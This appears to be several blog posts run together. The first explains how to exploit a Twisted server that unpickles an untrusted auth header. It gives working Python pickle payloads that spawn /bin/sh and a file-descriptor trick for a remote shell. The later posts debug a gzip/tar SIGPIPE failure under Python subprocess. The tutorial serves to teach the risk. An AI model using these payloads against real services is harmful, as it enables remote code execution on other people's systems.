Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

Recently, however, I stumbled upon a project that was accepting and unpacking untrusted pickles over the network, and a poll of some friends revealed that few of them were aware of just how easy it is to exploit a service that does this. As such, this blog post will describe exactly how trivial it is to exploit such a service, using a simplified version of the code I recently encountered as an example. Nothing in here is novel, but it’s interesting if you haven’t seen it.

The Target

The vulnerable code was a Twisted server that listened over SSL. The code looked roughly like the following:

class VulnerableProtocol(protocol.Protocol):
  def dataReceived(self, data):
 
     # Code to actually parse incoming data according to an
     #  internal state machine
     # If we just finished receiving headers, call verifyAuth() to
       check authentication
 
  def verifyAuth(self, headers):
    try:
      token = cPickle.loads(base64.b64decode(headers['AuthToken']))
      if not check_hmac(token['signature'], token['data'], getSecretKey()):
        raise AuthenticationFailed
      self.secure_data = token['data']
    except:
      raise AuthenticationFailed

So, if we just send a request that looks something like:

AuthToken: <pickle here>

The server will happily unpickle it.

Executing Code

So, what can we do with that? Well, pickle is supposed to allow us to represent arbitrary objects. An obvious target is Python’s subprocess.Popen objects — if we can trick the target into instantiating one of those, they’ll be executing arbitrary commands for us! To generate such a pickle, however, we can’t just create a Popen object and pickle it; For various mostly-obvious reasons, that won’t work. We could read up on the “pickle” format and construct a stream by hand, but it turns out there is no need to.

pickle allows arbitrary objects to declare how they should be pickled by defining a __reduce__ method, which should return either a string or a tuple describing how to reconstruct this object on unpacking. In the simplest form, that tuple should just contain

• A callable (which must be either a class, or satisfy some other, odder, constraints), and
• A tuple of arguments to call that callable on.

pickle will pickle each of these pieces separately, and then on unpickling, will call the callable on the provided arguments to construct the new object.

And so, we can construct a pickle that, when un-pickled, will execute /bin/sh, as follows:

import cPickle
import subprocess
import base64
 
class RunBinSh(object):
  def __reduce__(self):
    return (subprocess.Popen, (('/bin/sh',),))
 
print base64.b64encode(cPickle.dumps(RunBinSh()))

Getting a Remote Shell

At this point, we’ve basically won. We can run arbitrary shell commands on the target, and there are any number of ways we could bootstrap from here up to an interactive shell and whatever else we might want.

For completeness, I’ll explain what I did, since it’s a moderately cute trick. subprocess.Popen lets us select which file descriptors to attach to stdin, stdout, and stderr for the new process by passing integers for the stdin and similarly-named arguments, so we can open our /bin/sh on arbitrarily-numbered fd’s.

However, as mentioned above, the target server uses Twisted, and it serves all requests in the same thread, using an asynchronous event-driven model. This means we can’t necessarily predict which file descriptor on the server will correspond to our socket, since it depends on how many other clients are connected.

It also means, however, that every time we connect to the server, we’ll open a new socket inside the same server process. So, let’s guess that the server has fewer than, say, 20 concurrent connections at the moment. If we connect to the server’s socket 20 times, that will open 20 new file descriptors in the server. Since they’ll get assigned sequentially, one of them will almost certainly be fd 20. Then, we can generate a pickle like so, and send it over:

import cPickle
import subprocess
import base64
 
class Exploit(object):
  def __reduce__(self):
    fd = 20
    return (subprocess.Popen,
            (('/bin/sh',), # args
             0,            # bufsize
             None,         # executable
             fd, fd, fd    # std{in,out,err}
             ))
 
print base64.b64encode(cPickle.dumps(Exploit()))

We’ll open a /bin/sh on fd 20, which should be one of our 20 connections, and if all goes well, we’ll see a prompt printed to one of those. We’ll send some junk on that fd until we manage to get the original server to error out and close the connection, and we’ll be left talking to /bin/sh over a socket. Game over.

In Conclusion

Again, nothing here should be novel, nor would I expect any of these pieces to take a competent hacker more than few minutes to figure out, given the problem. But if this blog post teaches someone not to use pickle on untrusted data, then it will be worth it.

In the reddit thread, lacos/lbzip2 objected that in his experiments, he didn’t see tar closing the input pipe before it was done reading the file, and so questioned where the SIGPIPE/EPIPE was coming from in the first place. I had actually done similar experiments with similar results, but I was still seeing the EPIPE, so I knew it could happen, but I couldn’t totally explain why.

A friend of mine, David Benjamin, was curious enough to source-dive tar, and posted his results on his own blog. He discovered that by default, tar does not close the pipe after finding all the files it needs, because the tar archive format allows for later copies of the same file, which would supercede the previous ones. This explains why lacos and I saw tar reading to the end of a linux-2.6 tarball, even if we only asked for the first file.

He also discovered, however, that a typical tar file ends with a number of NUL blocks, which tar treats as end-of-file. And so tar will close the pipe after reading the first of these, which opens a narrow race condition whereby tar can potentially do so before gzip has written the remaining NUL blocks, resulting in a SIGPIPE.

Finally, the discussion inspired lacos to post a query clarifying tar‘s behavior with respect to SIGPIPE and closing the pipe early to the help-tar mailing list, which resulted in a brief thread that, among other things, revealed that the bug I posted about has been fixed in GNU tar as of last summer, by having tar reset the disposition of SIGPIPE to SIG_DFL before spawning a child. It was also pointed out that tar checks whether a filter subprocess is killed by SIGPIPE, and treats that as a success — so it’s not actually necessary for a tar filter to handle SIGPIPE and exit cleanly, like gzip does.

The following code snippet in Python is intended to extract and return a single file from a tarball. It probably should be using tarfile, but let’s ignore that for the moment.

import subprocess
def extractFile(tarball, path):
  p = subprocess.Popen(['tar', '-xzOf', tarball, path],
                       stdout=subprocess.PIPE,
                       stderr=subprocess.PIPE)
  contents, err = p.communicate()
  if p.returncode:
    raise SomethingWentWrong(err)
  return contents

This code has a bug. It will often work just fine, but occasionally it will fail, with ‘err’ containing a message including gzip: stdout: Broken pipe. If, however you were to write the equivalent code in a shell script:

 contents="$(tar -xzOf "$tarball" "$path")"

you would find that it never fails in this way. So what’s going on?

When we launch tar with the -z option, it creates a pipe(7) and forks off a gzip process writing into one end of the pipe. It then reads the uncompressed tarball from the other end of the pipe, parsing our tar headers, until eventually it’s done, and it closes the read end of the pipe.

Since we’ve given tar a specific path to extract, it doesn’t need to read the entire tarball — only up until it can find that file. So it may close the pipe before reading the entire file, and, correspondingly, before gzip is done writing to it. As explained in pipe(7):

If all file descriptors referring to the read end of a pipe have been closed, then a write(2) will cause a SIGPIPE signal to be generated for the calling process. If the calling process is ignoring this signal, then write(2) fails with the error EPIPE.

Under normal circumstances, gzip expects that whoever is downstream of it may only care about a prefix of the uncompressed stream, and so it registers a SIGPIPE handler which exits cleanly.

Python, however, doesn’t want to get SIGPIPEs. Instead, Python would rather just check the return value of every write call it makes, and raise an IOError if necessary, so that Python code gets the error in an appropriately Pythonic way, instead of through an asynchronous signal. And so, at startup, Python uses signal(2) or sigaction(2) to ignore SIGPIPE by setting it to SIG_IGN.

As explained in sigaction(2):

A child created via fork(2) inherits a copy of its parent’s signal dispositions. During an execve(2), the dispositions of handled signals are reset to the default; the dispositions of ignored signals are left unchanged.

And so, when started from Python, gzip starts up with SIGPIPE ignored. And, for reasons I don’t understand, rather than unconditionally handling SIGPIPE, gzip first checks whether or not it’s ignored, and only installs a handler if the signal is not being ignored.

And so, SIGPIPE continues to be ignored, which means that gzip‘s write(2) returns EPIPE, which gzip sees is nonzero, calls perror on, and then exits. tar’s wait then sees gzip exit uncleanly, which causes tar itself to exit uncleanly, which Python then raises as an exception.

There’s an easy workaround, which is to re-enable SIGPIPE in the subprocess child:

  p = subprocess.Popen(['tar', '-xzOf', tarball, path],
                       stdout=subprocess.PIPE,
                       stderr=subprocess.PIPE,
                       preexec_fn=lambda:
                        signal.signal(signal.SIGPIPE, signal.SIG_DFL))

But who would think of doing that, without first having seen this horribly subtle chain of bug, and having to track down what went wrong?

(Here’s the Python bug report, and many thanks to cjwatson for posting his discovery of this class of bug on his blog, which greatly reduced the amount of time I would have had to spend tracking this down)